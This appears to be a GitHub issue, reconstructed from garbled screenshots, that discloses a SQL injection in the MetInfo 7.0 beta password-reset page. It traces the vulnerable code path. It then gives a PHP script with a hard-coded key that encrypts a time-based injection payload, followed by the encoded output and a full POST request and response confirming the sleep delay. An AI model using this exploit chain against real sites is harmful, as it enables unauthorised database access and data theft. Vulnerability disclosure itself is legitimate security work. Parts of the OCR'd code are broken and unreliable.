

```
Then, encrypt the payload
Metinfo7.0 Use encrypt email to check email valid.
We can see after decode the data. It pass the email to get user by email function
                                               7.0beta [~/桌面/tools/cms/testCms/metinfo/7.0beta] - .. /app/system/user/web/getpassword.class.php [7.0beta] - PhpStorm
 or R<u>u</u>n <u>T</u>ools VC<u>S</u> <u>W</u>indow <u>H</u>elp
  class.php × # login.php × | Gologin.class.php × | Gologin.class.ph
                                     okinfo($_M['url']['login'], $_M['word']['NoidJS']);
                  if(!is_email($email))$email = '';
                            if($email){
    if($_M['form']['password']){_
                                             $user = $this->userclass->get user by email($email);
                                               1†($user){
                                                        if($this->userclass-><u>editor_uesr_password</u>($user['id'],$_M['form']['password'])){
| okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                                                                 okinfo($_M['url']['login'], $_M['word']['opfail']);
                                                      }
e{
                                                        okinfo($_M['url']['login'], $_M['word']['NoidJS']);
                                      require_once <u>$this->view( file: 'app/getpassword_mailset',$this->input);</u>
                                     okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
Then get user by email function pass it to get user by emailid function
                                                        7.0beta [-/桌面/tools/cms/testCms/metinfo/7.0beta] - .../app/system/include/class/user.class.php [7.0beta] - PhpStorm
                                 lic function get_user_by_email($email = '')
24
25
26
27
28
                                  $isplugin = load::is_plugin_exist( plugin: 'doemail');
29
30
31
                                  if($isplugin){
                                           $emailres = load::plugin( plugin: 'doemail', action: 1, $email);
32
33
34
35
                                           $emailres =NULL;
36
37
38
39
                                  if ($emailres || $emailres === NULL) {
                                        $user = self::get_user_by_emailid($email);
40
41
42
43
                                  return $user;
44
Finally, It cause sal injection
        ublic function get_user_by_emailid($email = '')
                                              <u>_ECT * FROM {</u>$_M['table']['user']}<u>WHERE email='</u>{$email}<u>' AND lang='</u>{$_M['lang']}<u>'</u>";
             $query = "SELECT * FROM_{$_M}
$user = DB::get_one($query);
return $user;
We have the key, and we know the way to encrypt data. As below
   function authcode(\$string, \$operation = 'DECODE', \$key = '', \$expiry = 0){
         $ckey_length = 4;
         $key = md5($key ? $key : UC_KEY);
         $keya = md5(substr($key, 0, 16));
         $keyb = md5(substr($key, 16, 16));
         $keyc = $ckey_length? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc);
        **Skey_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%0100', $expiry ? $expiry + time() : 0).substr(md5($string, $keyb), 0, 16).$string;
         $string_length = strlen($string);
         $result = ''
         $box = range(0, 255);
        $rndkey = array();
for($i = 0; $i <= 255; $i++) {</pre>
```

```
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
           for($j = $i = 0; $i < 256; $i++) {
   $j = ($j + $box[$i] + $rndkey[$i]) % 256;</pre>
                  $tmp = $box[$i];
$box[$i] = $box[$j];
                  $box[$j] = $tmp;
           for($a = $j = $i = 0; $i < $string_length; $i++) {
    $a = ($a + 1) % 256;</pre>
                  $j = ($j + $box[$a]) % 256;
                  tmp = box[a];
                 if($operation == 'DECODE') {
                   if((substr(\$result, 0, 10) == 0 \mid | substr(\$result, 0, 10) - time() > 0) \& substr(\$result, 10, 16) == substr(md5(substr(\$result, 26).\$keyb), 0, 16)) \{ (substr(\$result, 10, 10) == 0 \mid | substr(\$result, 10, 10) == 0 | substr(\$result, 10, 10) == 0 | | substr(\$result, 10, 10) == 0 | substr(\$resu
                  return substr($result, 26);
} else {
                      return '';
           }else{
                  return $keyc.str_replace('=', '', base64_encode($result));
    echo var_dump($argv[1]);
    echo urlencode(authcode($argv[1],'ENCODE','dxeOfyLMbaJiK7SBzT8UC3kiwRNOdKoY'));
 $ php sqlpayload1.php "qwer'or(sleep(10))#123@qq.com"
/home/jrxnm/桌面/tools/cms/testCms/metinfo/sqlpayload1.php:46:
 string(29) "qwer'or(sleep(10))#123@qq.com"
 a2f4o5bx6RZI%2BLtdPp0%2FCySYZmwV%2BhrSa8M8l7dYsdBrdKbLGnGRk60jZqI4zXX8R77ticAdLP7qFA%
Finally, send the payload
(You should encrypt the data first)
    POST /metinfo/7.0beta/member/getpassword.php?lang=cn&a=dovalid HTTP/1.1
   Host: 127.0.0.1:7000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: zh,en;q=0.5
Content-Type: application/x-www-form-urlencoded
   Content-Length: 97
    Connection: close
   Upgrade-Insecure-Requests: 1
    Request
                                                                                                                                       Response
                                                                                                                                       Raw Headers Hex
  Raw Params Headers Hex
POST
                                                                                                                                     HTTP/1.1 200 OK
                                                                                                                                     Date: Thu, 07 Nov 2019 08:02:55 GMT
/metinfo/7.0 beta/member/get password.php?lang = cn\&a = dovalid
 HTTP/1.1
                                                                                                                                      Server: Apache/2.4.18 (Ubuntu)
Host: 127.0.0.1:7000
                                                                                                                                     Vary: Accept-Encoding
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0)
                                                                                                                                     Content-Length: 111
Gecko/20100101 Firefox/70.0
                                                                                                                                     Connection: close
Accept:
                                                                                                                                     Content-Type: text/html;charset=utf-8
text/html, application/xhtml+xml, application/xml; q=0.9, ^*/^*; q=0.8
Accept-Language: zh,en;q=0.5
                                                                                                                                     <script type='text/javascript'>alert('没有此用户');
Content-Type: application/x-www-form-urlencoded
                                                                                                                                     location.href='../member/login.php?lang=cn'; </script>
Content-Length: 97
Connection: close
Upgrade-Insecure-Requests: 1
p = a2f4o5bx6RZ1\%2BLtdPpO\%2FCySYZmwV\%2BhrSa8M8l7dYsdBrdKbLGnGRk6OjZqI4zXX8R77ticAdLP7qFA&password=1\\
 ? | ( ) | + | ( > ) | Type a search term
                                                                                                          0 matches
                                                                                                                                     ? | ( ) | + | ( > ) | Type a search term
                                                                                                                                                                                                                         301 bytes 10,030 millis
Done
```

No one assigned	
Labels	
None yet	
Projects	
None yet	
Milestone	
No milestone	
Development	
No branches or pull requests	

1 participant

